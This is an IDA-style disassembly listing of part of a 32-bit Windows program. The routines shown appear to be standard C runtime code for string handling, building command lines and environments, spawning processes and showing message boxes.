		lea	esi, [ebp+var_C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_435852
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_26]
		mov	[esi], eax
		movsx	eax, [ebp+var_28]
		mov	[esi+4], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	sub_42A5D0
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_434593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4345EF	proc near		; CODE XREF: sub_434593+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_43463D
		cmp	ebx, edi
		jz	short loc_434636
		lea	edi, [ecx+3C00h]
		jmp	short loc_43465E
; ---------------------------------------------------------------------------


loc_434636:				; CODE XREF: sub_4345EF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_43465E
; ---------------------------------------------------------------------------


loc_43463D:				; CODE XREF: sub_4345EF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_434655
		cmp	edx, ebx
		jnz	short loc_434655
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4346A0
; ---------------------------------------------------------------------------


loc_434655:				; CODE XREF: sub_4345EF+52j
					; sub_4345EF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_43465E:				; CODE XREF: sub_4345EF+45j
					; sub_4345EF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_434676:				; CODE XREF: sub_4345EF+A6j
		test	ecx, esi
		jnz	short loc_434697
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_434676
; ---------------------------------------------------------------------------


loc_434697:				; CODE XREF: sub_4345EF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4346A0:				; CODE XREF: sub_4345EF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4345EF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_42C67C
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4346AE	proc near		; CODE XREF: sub_430FC3+ACp
					; sub_431128+10p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_676CAC, esi
		jnz	short loc_4346CB
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42B060
		pop	ecx
		pop	ecx
		jmp	short loc_43471D
; ---------------------------------------------------------------------------


loc_4346CB:				; CODE XREF: sub_4346AE+Cj
		push	edi
		push	19h
		call	sub_42DAEF
		pop	ecx
		mov	ecx, [ebp+arg_0]


loc_4346D7:				; CODE XREF: sub_4346AE+62j
		mov	dl, [ecx]
		movzx	eax, dl
		movzx	edi, al
		test	byte_676DC1[edi], 4
		jz	short loc_434706
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_434702
		movzx	edi, dl
		shl	eax, 8
		or	eax, edi
		cmp	[ebp+arg_4], eax
		jnz	short loc_43470D
		lea	esi, [ecx-1]
		jmp	short loc_43470D
; ---------------------------------------------------------------------------


loc_434702:				; CODE XREF: sub_4346AE+40j
		test	esi, esi
		jmp	short loc_434709
; ---------------------------------------------------------------------------


loc_434706:				; CODE XREF: sub_4346AE+38j
		cmp	[ebp+arg_4], eax


loc_434709:				; CODE XREF: sub_4346AE+56j
		jnz	short loc_43470D
		mov	esi, ecx


loc_43470D:				; CODE XREF: sub_4346AE+4Dj
					; sub_4346AE+52j ...
		inc	ecx
		test	dl, dl
		jnz	short loc_4346D7
		push	19h
		call	sub_42DB50
		pop	ecx
		mov	eax, esi
		pop	edi


loc_43471D:				; CODE XREF: sub_4346AE+1Bj
		pop	esi
		pop	ebp
		retn
sub_4346AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434720	proc near		; CODE XREF: sub_430FC3:loc_43103Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]


loc_434726:				; CODE XREF: sub_434720+Cj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_43472E
		inc	ecx
		jmp	short loc_434726
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: sub_434720+9j
		dec	[ebp+arg_8]
		push	esi
		mov	eax, ecx
		jz	short loc_434783
		mov	dl, [ecx]
		mov	esi, [ebp+arg_4]
		test	dl, dl
		jz	short loc_434777


loc_43473F:				; CODE XREF: sub_434720+55j
		cmp	dl, 3Bh
		jz	short loc_434777
		cmp	dl, 22h
		jz	short loc_434754
		mov	[esi], dl
		inc	esi
		inc	ecx
		dec	[ebp+arg_8]
		jz	short loc_43477F
		jmp	short loc_434771
; ---------------------------------------------------------------------------


loc_434754:				; CODE XREF: sub_434720+27j
		inc	ecx


loc_434755:				; CODE XREF: sub_434720+49j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_43476B
		cmp	dl, 22h
		jz	short loc_43476B
		mov	[esi], dl
		inc	esi
		inc	ecx
		dec	[ebp+arg_8]
		jz	short loc_43477F
		jmp	short loc_434755
; ---------------------------------------------------------------------------


loc_43476B:				; CODE XREF: sub_434720+39j
					; sub_434720+3Ej
		cmp	byte ptr [ecx],	0
		jz	short loc_434771
		inc	ecx


loc_434771:				; CODE XREF: sub_434720+32j
					; sub_434720+4Ej
		mov	dl, [ecx]
		test	dl, dl
		jnz	short loc_43473F


loc_434777:				; CODE XREF: sub_434720+1Dj
					; sub_434720+22j ...
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_434786
		inc	ecx
		jmp	short loc_434777
; ---------------------------------------------------------------------------


loc_43477F:				; CODE XREF: sub_434720+30j
					; sub_434720+47j
		mov	eax, ecx
		jmp	short loc_434786
; ---------------------------------------------------------------------------


loc_434783:				; CODE XREF: sub_434720+14j
		mov	esi, [ebp+arg_4]


loc_434786:				; CODE XREF: sub_434720+5Aj
					; sub_434720+61j
		and	byte ptr [esi],	0
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, ecx
		pop	ebp
		retn
sub_434720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434794	proc near		; CODE XREF: sub_430FC3+3Ap
					; sub_430FC3+114p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_676CAC, 0
		push	ebx
		push	esi
		jnz	short loc_4347B1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42B1A0
		pop	ecx
		pop	ecx
		jmp	short loc_434827
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: sub_434794+Cj
		push	19h
		call	sub_42DAEF
		mov	esi, [ebp+arg_0]
		pop	ecx


loc_4347BC:				; CODE XREF: sub_434794+60j
		movzx	bx, byte ptr [esi]
		test	bx, bx
		jz	short loc_43480F
		movzx	eax, bl
		test	byte_676DC1[eax], 4
		jz	short loc_4347EB
		mov	al, [esi+1]
		inc	esi
		test	al, al
		jz	short loc_4347F6
		movzx	ecx, bx
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		cmp	[ebp+arg_4], ecx
		jz	short loc_434802
		jmp	short loc_4347F3
; ---------------------------------------------------------------------------


loc_4347EB:				; CODE XREF: sub_434794+3Bj
		movzx	eax, bx
		cmp	[ebp+arg_4], eax
		jz	short loc_43480F


loc_4347F3:				; CODE XREF: sub_434794+55j
		inc	esi
		jmp	short loc_4347BC
; ---------------------------------------------------------------------------


loc_4347F6:				; CODE XREF: sub_434794+43j
		push	19h
		call	sub_42DB50
		pop	ecx
		xor	eax, eax
		jmp	short loc_434827
; ---------------------------------------------------------------------------


loc_434802:				; CODE XREF: sub_434794+53j
		push	19h
		call	sub_42DB50
		pop	ecx
		lea	eax, [esi-1]
		jmp	short loc_434827
; ---------------------------------------------------------------------------


loc_43480F:				; CODE XREF: sub_434794+2Fj
					; sub_434794+5Dj
		push	19h
		call	sub_42DB50
		mov	eax, [ebp+arg_4]
		pop	ecx
		movzx	ecx, bx
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, esi


loc_434827:				; CODE XREF: sub_434794+1Bj
					; sub_434794+6Cj ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_434794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43482B	proc near		; CODE XREF: sub_431271+32p

var_60		= dword	ptr -60h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp+var_8], edi
		jz	short loc_434859
		cmp	eax, 1
		jz	short loc_434859
		jle	short loc_43487B
		cmp	eax, 3
		jle	short loc_434859
		cmp	eax, 4
		jnz	short loc_43487B
		mov	[ebp+var_1], 1


loc_434859:				; CODE XREF: sub_43482B+17j
					; sub_43482B+1Cj ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax


loc_43485F:				; CODE XREF: sub_43482B+47j
					; sub_43482B+4Ej
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_434892


loc_434865:				; CODE XREF: sub_43482B+3Ej
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_434865
		cmp	byte ptr [eax+1], 0
		lea	ecx, [eax+1]
		jz	short loc_43485F
		mov	byte ptr [eax],	20h
		mov	eax, ecx
		jmp	short loc_43485F
; ---------------------------------------------------------------------------


loc_43487B:				; CODE XREF: sub_43482B+1Ej
					; sub_43482B+28j
		call	sub_42F119
		mov	dword ptr [eax], 16h
		call	sub_42F122
		mov	[eax], edi
		jmp	loc_4349B6
; ---------------------------------------------------------------------------


loc_434892:				; CODE XREF: sub_43482B+38j
		push	44h
		lea	eax, [ebp+var_60]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_429760
		mov	[ebp+var_60], esi
		mov	esi, dword_676FE0
		add	esp, 0Ch
		cmp	esi, edi
		jz	short loc_4348D4
		lea	ecx, [esi-1]


loc_4348B3:				; CODE XREF: sub_43482B+A7j
		mov	edx, ecx
		mov	eax, ecx
		sar	edx, 5
		and	eax, 1Fh
		mov	edx, dword_676EE0[edx*4]
		lea	eax, [eax+eax*8]
		cmp	byte ptr [edx+eax*4+4],	0
		jnz	short loc_4348D4
		dec	esi
		dec	ecx
		cmp	esi, edi
		jnz	short loc_4348B3


loc_4348D4:				; CODE XREF: sub_43482B+83j
					; sub_43482B+A1j
		lea	eax, [esi+esi*4+4]
		push	1
		mov	[ebp+var_2E], ax
		movzx	eax, ax
		push	eax
		call	sub_42B39A
		mov	[ebp+var_2C], eax
		pop	ecx
		mov	[eax], esi
		mov	eax, [ebp+var_2C]
		pop	ecx
		xor	ebx, ebx
		cmp	esi, edi
		lea	ecx, [eax+4]
		lea	edx, [eax+esi+4]
		jle	short loc_434938


loc_4348FE:				; CODE XREF: sub_43482B+106j
		mov	edi, ebx
		mov	eax, ebx
		sar	edi, 5
		and	eax, 1Fh
		mov	edi, dword_676EE0[edi*4]
		lea	eax, [eax+eax*8]
		lea	edi, [edi+eax*4]
		mov	al, [edi+4]
		test	al, 10h
		jnz	short loc_434924
		mov	[ecx], al
		mov	eax, [edi]
		mov	[edx], eax
		jmp	short loc_43492A
; ---------------------------------------------------------------------------


loc_434924:				; CODE XREF: sub_43482B+EFj
		and	byte ptr [ecx],	0
		or	dword ptr [edx], 0FFFFFFFFh


loc_43492A:				; CODE XREF: sub_43482B+F7j
		inc	ebx
		inc	ecx
		add	edx, 4
		cmp	ebx, esi
		jl	short loc_4348FE
		mov	eax, [ebp+var_2C]
		xor	edi, edi


loc_434938:				; CODE XREF: sub_43482B+D1j
		cmp	[ebp+var_1], 0
		jz	short loc_43496B
		lea	ecx, [eax+4]
		xor	edx, edx
		lea	eax, [eax+esi+4]


loc_434947:				; CODE XREF: sub_43482B+137j
		cmp	esi, 3
		jge	short loc_434950
		mov	ebx, esi
		jmp	short loc_434953
; ---------------------------------------------------------------------------


loc_434950:				; CODE XREF: sub_43482B+11Fj
		push	3
		pop	ebx


loc_434953:				; CODE XREF: sub_43482B+123j
		cmp	edx, ebx
		jge	short loc_434964
		and	byte ptr [ecx],	0
		or	dword ptr [eax], 0FFFFFFFFh
		inc	edx
		inc	ecx
		add	eax, 4
		jmp	short loc_434947
; ---------------------------------------------------------------------------


loc_434964:				; CODE XREF: sub_43482B+12Aj
		mov	[ebp+var_8], 8


loc_43496B:				; CODE XREF: sub_43482B+111j
		call	sub_42F119
		mov	[eax], edi
		call	sub_42F122
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_8]
		push	1
		push	edi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	dword_4370D8	; CreateProcessA
		mov	esi, eax
		call	dword_437170	; RtlGetLastWin32Error
		push	[ebp+var_2C]
		mov	ebx, eax
		call	sub_4298F2
		cmp	esi, edi
		pop	ecx
		jnz	short loc_4349BB
		push	ebx
		call	sub_42F0A6
		pop	ecx


loc_4349B6:				; CODE XREF: sub_43482B+62j
		or	eax, 0FFFFFFFFh
		jmp	short loc_434A0F
; ---------------------------------------------------------------------------


loc_4349BB:				; CODE XREF: sub_43482B+182j
		cmp	[ebp+arg_0], 2
		jnz	short loc_4349C7
		push	edi
		call	sub_430B45


loc_4349C7:				; CODE XREF: sub_43482B+194j
		cmp	[ebp+arg_0], edi
		mov	esi, dword_437044
		jnz	short loc_4349F1
		push	0FFFFFFFFh
		push	[ebp+var_1C]
		call	dword_43707C	; WaitForSingleObject
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+var_1C]
		call	dword_437100	; GetExitCodeProcess
		push	[ebp+var_1C]
		call	esi ; dword_437044
		jmp	short loc_434A07
; ---------------------------------------------------------------------------


loc_4349F1:				; CODE XREF: sub_43482B+1A5j
		cmp	[ebp+arg_0], 4
		jnz	short loc_434A01
		push	[ebp+var_1C]
		call	esi ; dword_437044
		mov	[ebp+arg_8], edi
		jmp	short loc_434A07
; ---------------------------------------------------------------------------


loc_434A01:				; CODE XREF: sub_43482B+1CAj
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_8], eax


loc_434A07:				; CODE XREF: sub_43482B+1C4j
					; sub_43482B+1D4j
		push	[ebp+var_18]
		call	esi ; dword_437044
		mov	eax, [ebp+arg_8]


loc_434A0F:				; CODE XREF: sub_43482B+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43482B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434A14	proc near		; CODE XREF: sub_431271+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2
		pop	esi
		mov	edi, esi


loc_434A22:				; CODE XREF: sub_434A14+22j
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_434A38
		push	eax
		add	ebx, 4
		call	sub_4293A0
		pop	ecx
		lea	edi, [edi+eax+1]
		jmp	short loc_434A22
; ---------------------------------------------------------------------------


loc_434A38:				; CODE XREF: sub_434A14+12j
		push	edi
		call	sub_4297B8
		pop	ecx
		mov	ecx, [ebp+arg_8]
		test	eax, eax
		mov	[ecx], eax
		jnz	short loc_434A53
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		jmp	loc_434B35
; ---------------------------------------------------------------------------


loc_434A53:				; CODE XREF: sub_434A14+32j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_434A70


loc_434A5A:				; CODE XREF: sub_434A14+5Aj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_434A97
		push	eax
		add	edi, 4
		call	sub_4293A0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_434A5A
; ---------------------------------------------------------------------------


loc_434A70:				; CODE XREF: sub_434A14+44j
		mov	eax, [ebp+arg_C]
		mov	ebx, [ebp+arg_C]
		mov	edi, [ebp+arg_C]
		and	dword ptr [eax], 0


loc_434A7C:				; CODE XREF: sub_434A14+10Dj
		mov	eax, [ebp+arg_8]
		mov	esi, [eax]
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], eax
		mov	eax, [eax]
		test	eax, eax
		jnz	loc_434B53


loc_434A91:				; CODE XREF: sub_434A14+185j
		inc	esi
		jmp	loc_434B72
; ---------------------------------------------------------------------------


loc_434A97:				; CODE XREF: sub_434A14+4Aj
		mov	eax, dword_676924
		test	eax, eax
		jnz	short loc_434AB2
		call	sub_432F35
		test	eax, eax
		mov	dword_676924, eax
		jz	loc_434B4B


loc_434AB2:				; CODE XREF: sub_434A14+8Aj
		xor	ebx, ebx
		cmp	[eax], bl
		jz	short loc_434ADB
		mov	edi, eax
		mov	cl, [edi]


loc_434ABC:				; CODE XREF: sub_434A14+C5j
		cmp	cl, 3Dh
		jz	short loc_434ADB
		push	edi
		call	sub_4293A0
		lea	ebx, [ebx+eax+1]
		mov	eax, dword_676924
		pop	ecx
		mov	cl, [eax+ebx]
		lea	edi, [eax+ebx]
		test	cl, cl
		jnz	short loc_434ABC


loc_434ADB:				; CODE XREF: sub_434A14+A2j
					; sub_434A14+ABj
		mov	edi, ebx
		add	eax, ebx


loc_434ADF:				; CODE XREF: sub_434A14+F7j
		cmp	byte ptr [eax],	3Dh
		jnz	short loc_434B0D
		cmp	byte ptr [eax+1], 0
		jz	short loc_434B0D
		cmp	byte ptr [eax+2], 3Ah
		jnz	short loc_434B0D
		cmp	byte ptr [eax+3], 3Dh
		jnz	short loc_434B0D
		add	eax, 4
		push	eax
		call	sub_4293A0
		lea	edi, [edi+eax+5]
		mov	eax, dword_676924
		pop	ecx
		add	eax, edi
		jmp	short loc_434ADF
; ---------------------------------------------------------------------------


loc_434B0D:				; CODE XREF: sub_434A14+CEj
					; sub_434A14+D4j ...
		mov	eax, edi
		sub	eax, ebx
		add	eax, esi
		push	eax
		call	sub_4297B8
		pop	ecx
		mov	ecx, [ebp+arg_C]
		test	eax, eax
		mov	[ecx], eax
		jnz	loc_434A7C
		mov	esi, [ebp+arg_8]
		push	dword ptr [esi]
		call	sub_4298F2
		and	dword ptr [esi], 0
		pop	ecx


loc_434B35:				; CODE XREF: sub_434A14+3Aj
		call	sub_42F119
		mov	dword ptr [eax], 0Ch
		call	sub_42F122
		mov	dword ptr [eax], 8


loc_434B4B:				; CODE XREF: sub_434A14+98j
		or	eax, 0FFFFFFFFh
		jmp	loc_434C15
; ---------------------------------------------------------------------------


loc_434B53:				; CODE XREF: sub_434A14+77j
		push	eax
		push	esi
		call	sub_42A5D0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	eax, 4
		push	ecx
		mov	[ebp+arg_8], eax
		call	sub_4293A0
		add	esp, 0Ch
		lea	esi, [esi+eax+1]


loc_434B72:				; CODE XREF: sub_434A14+7Ej
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434B9E
		push	eax
		push	esi
		call	sub_42A5D0
		mov	eax, [ebp+arg_8]
		add	[ebp+arg_8], 4
		mov	eax, [eax]
		push	eax
		call	sub_4293A0
		add	esp, 0Ch
		add	esi, eax
		mov	byte ptr [esi],	20h
		jmp	loc_434A91
; ---------------------------------------------------------------------------


loc_434B9E:				; CODE XREF: sub_434A14+165j
		mov	eax, [ebp+arg_C]
		and	byte ptr [esi-1], 0
		and	byte ptr [esi],	0
		cmp	[ebp+arg_4], 0
		mov	esi, [eax]
		jz	short loc_434BEE
		mov	eax, edi
		sub	eax, ebx
		push	eax
		mov	eax, dword_676924
		add	eax, ebx
		push	eax
		push	esi
		call	sub_429420
		sub	edi, ebx
		add	esp, 0Ch
		add	esi, edi
		mov	edi, [ebp+arg_4]


loc_434BCD:				; CODE XREF: sub_434A14+1D8j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_434BEE
		push	eax
		push	esi
		call	sub_42A5D0
		mov	eax, [edi]
		add	edi, 4
		push	eax
		call	sub_4293A0
		add	esp, 0Ch
		lea	esi, [esi+eax+1]
		jmp	short loc_434BCD
; ---------------------------------------------------------------------------


loc_434BEE:				; CODE XREF: sub_434A14+19Aj
					; sub_434A14+1BDj
		test	esi, esi
		jz	short loc_434C00
		mov	eax, [ebp+arg_C]
		cmp	esi, [eax]
		jnz	short loc_434BFD
		and	byte ptr [esi],	0
		inc	esi


loc_434BFD:				; CODE XREF: sub_434A14+1E3j
		and	byte ptr [esi],	0


loc_434C00:				; CODE XREF: sub_434A14+1DCj
		push	dword_676924
		call	sub_4298F2
		and	dword_676924, 0
		pop	ecx
		xor	eax, eax


loc_434C15:				; CODE XREF: sub_434A14+13Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_434A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434C1A	proc near		; CODE XREF: sub_4312E3+5Ep
					; sub_435F14+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_434C27
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_434C27:				; CODE XREF: sub_434C1A+7j
		push	dword_676C9C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_676EC4
		call	sub_435AE5
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_434C54
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_434C54:				; CODE XREF: sub_434C1A+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_434C1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_434C59	proc near		; CODE XREF: sub_4312E3+1Ep
					; sub_435D8D+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_6769F4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_434CBA
		mov	ebx, dword_437074


loc_434C72:				; CODE XREF: sub_434C59+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_437074
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_434CC2
		push	ebp
		call	sub_4297B8
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_434CC2
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_437074
		test	eax, eax
		jz	short loc_434CC2
		push	edi
		push	[esp+18h+var_4]
		call	sub_435D8D
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_434C72


loc_434CBA:				; CODE XREF: sub_434C59+11j
		xor	eax, eax


loc_434CBC:				; CODE XREF: sub_434C59+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434CC2:				; CODE XREF: sub_434C59+29j
					; sub_434C59+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_434CBC
sub_434C59	endp


; =============== S U B	R O U T	I N E =======================================



sub_434CC7	proc near		; CODE XREF: sub_4313FB+77p
					; sub_431929+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4371B0	; IsBadReadPtr
		test	eax, eax
		jz	short loc_434CDF
		xor	esi, esi


loc_434CDF:				; CODE XREF: sub_434CC7+14j
		mov	eax, esi
		pop	esi
		retn
sub_434CC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_434CE3	proc near		; CODE XREF: sub_431929+73p
					; sub_431929+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_43715C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_434CFB
		xor	esi, esi


loc_434CFB:				; CODE XREF: sub_434CE3+14j
		mov	eax, esi
		pop	esi
		retn
sub_434CE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_434CFF	proc near		; CODE XREF: sub_431929+15Bp
					; sub_4320A0+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_4371AC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_434D13
		xor	esi, esi


loc_434D13:				; CODE XREF: sub_434CFF+10j
		mov	eax, esi
		pop	esi
		retn
sub_434CFF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431BCC


loc_434D17:				; CODE XREF: sub_431BCC:loc_431C28j
		push	0Ah
		call	sub_4330A0
		push	16h
		call	sub_435021
		pop	ecx
		pop	ecx
		push	3
		call	sub_430B45
; END OF FUNCTION CHUNK	FOR sub_431BCC

; =============== S U B	R O U T	I N E =======================================



sub_434D2E	proc near		; CODE XREF: sub_432BD7+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_434D3F
		add	esp, 0Ch
		retn
sub_434D2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_434D3F	proc near		; CODE XREF: sub_434D2E+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_676DC1[eax], cl
		jnz	short loc_434D6C
		cmp	[esp+arg_4], 0
		jz	short loc_434D65
		movzx	eax, word_4533C2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_434D67
; ---------------------------------------------------------------------------


loc_434D65:				; CODE XREF: sub_434D3F+16j
		xor	eax, eax


loc_434D67:				; CODE XREF: sub_434D3F+24j
		test	eax, eax
		jnz	short loc_434D6C
		retn
; ---------------------------------------------------------------------------


loc_434D6C:				; CODE XREF: sub_434D3F+Fj
					; sub_434D3F+2Aj
		push	1
		pop	eax
		retn
sub_434D3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_434D70	proc near		; CODE XREF: sub_4330A0+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_676C58, ebx
		push	esi
		push	edi
		jnz	short loc_434DBF
		push	offset aUser32_dll ; "user32.dll"
		call	dword_437034	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_434DF5
		mov	esi, dword_437030
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_437030
		test	eax, eax
		mov	dword_676C58, eax
		jz	short loc_434DF5
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_437030
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_676C5C, eax
		call	esi ; dword_437030
		mov	dword_676C60, eax


loc_434DBF:				; CODE XREF: sub_434D70+Bj
		mov	eax, dword_676C5C
		test	eax, eax
		jz	short loc_434DDE
		call	eax ; dword_676C5C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_434DDE
		mov	eax, dword_676C60
		test	eax, eax
		jz	short loc_434DDE
		push	ebx
		call	eax ; dword_676C60
		mov	ebx, eax


loc_434DDE:				; CODE XREF: sub_434D70+56j
					; sub_434D70+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_676C58	; MessageBoxA


loc_434DF1:				; CODE XREF: sub_434D70+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


